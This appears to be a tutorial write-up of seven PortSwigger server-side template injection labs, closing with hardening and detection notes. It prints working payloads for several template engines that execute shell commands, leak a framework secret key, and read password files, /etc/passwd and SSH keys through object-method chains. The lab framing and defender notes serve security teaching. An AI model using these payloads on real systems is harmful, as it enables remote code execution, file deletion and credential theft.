Server-side template injection is often taught as a list of payloads. That is useful for recognition, but it is not the main skill.
The main skill is context.
Before choosing a payload, answer one question:
Where did my input land inside the template?
The seven PortSwigger SSTI labs move through the important cases: raw template text, expression context, documentation-driven exploitation, unknown engine fingerprinting, object disclosure, sandbox escape, and custom business-object abuse.
The context map
| Context | What to do first |
|---|---|
| raw text | inject a complete expression |
| existing expression | escape the current syntax |
| editable template | fingerprint the engine, then read docs |
| object context | enumerate available objects and properties |
| sandbox | find reachable methods on exposed objects |
| custom business object | map method side effects |
This framing avoids the common failure mode: dropping a famous payload into the wrong syntactic position.
Text context is straightforward
In the ERB lab, the message parameter is rendered as template source. A harmless probe:
<%= 7*7 %>
returns 49. Ruby’s system() then gives the required effect:
<%= system("rm /home/carlos/morale.txt") %>
That is the easy case because the input controls a full template fragment.
Code context needs an escape
The Tornado lab is different. The preferred-name setting is inserted into an existing expression. The proof starts by closing that expression:
user.name}}{{7*7}}
Then the final payload imports os:
user.name}}{% import os %}{{os.system('rm /home/carlos/morale.txt')}}
The exploit is not “Tornado equals this payload.” The exploit is “break out of the current expression, then introduce a new template statement.”
Documentation beats memorization
The FreeMarker documentation lab points to ?new and freemarker.template.utility.Execute:
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
This is the workflow worth keeping: identify the engine, find object creation or utility classes in the docs, and only then build the payload.
The Handlebars lab goes the other direction. A fuzz string produces an error that identifies the engine:
${{<%[%'"}}%\
The documented exploit pivots through constructors and executes JavaScript:
return require('child_process').exec('rm /home/carlos/morale.txt');
Constrained template languages often become dangerous through helper objects and constructors rather than direct command primitives.
SSTI is not always RCE
The Django lab is an information-disclosure case. The debug tag exposes the template context:
{% debug %}
The settings object is present, so the secret key is readable:
{{settings.SECRET_KEY}}
That is enough impact. A framework secret can invalidate sessions, enable signing attacks, or expose deployment assumptions even when arbitrary command execution is unavailable.
Sandboxes are object-capability problems
In the FreeMarker sandbox lab, the useful object is product:
${product.getClass()}
From there, Java methods provide a file-read chain through class metadata and URL streams:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
The output is decimal byte values. Convert them to ASCII and submit the password.
The point is broader than FreeMarker: any sandbox that exposes rich objects needs an allowlist model, not just a blacklist of scary method names.
Custom objects change the game
The final lab exposes a user object. The winning chain is not a template-engine escape. It is method composition:
- Avatar upload errors reveal
user.setAvatar()and a PHP source path. user.setAvatar('/etc/passwd','image/jpg')plus/avatar?avatar=wienerconfirms arbitrary file read.- Reading
User.phprevealsgdprDelete(). - Set the avatar to
/home/carlos/.ssh/id_rsa. - Call
user.gdprDelete()to delete it.
This is object capability analysis. Once powerful objects enter the template context, template syntax is just the delivery mechanism.
Defender notes
Hardening:
- never concatenate user input into template source;
- pass user input as data variables only;
- do not let low-privilege users edit server-side templates;
- expose minimal DTOs, not framework objects or user models;
- keep settings, request objects, service objects, and file-handling methods out of template context;
- disable dangerous helpers, constructors, object creation, and reflection;
- return generic template errors to users.
Detection:
- parameters containing
<%=,{{,${,{%,#with,?new,getClass(), orconstructor; - template edits containing
settings.SECRET_KEY,debug,child_process,system(,openStream, or sensitive file paths; - template errors exposing engine names, stack traces, class paths, or method signatures;
- avatar/image endpoints returning non-image content;
- profile display-name changes followed by file reads, file deletion, or process execution.
The practical rule is simple: map the context before picking the payload. SSTI is a parser problem, an object exposure problem, and sometimes an authorization problem, all hidden behind one template delimiter.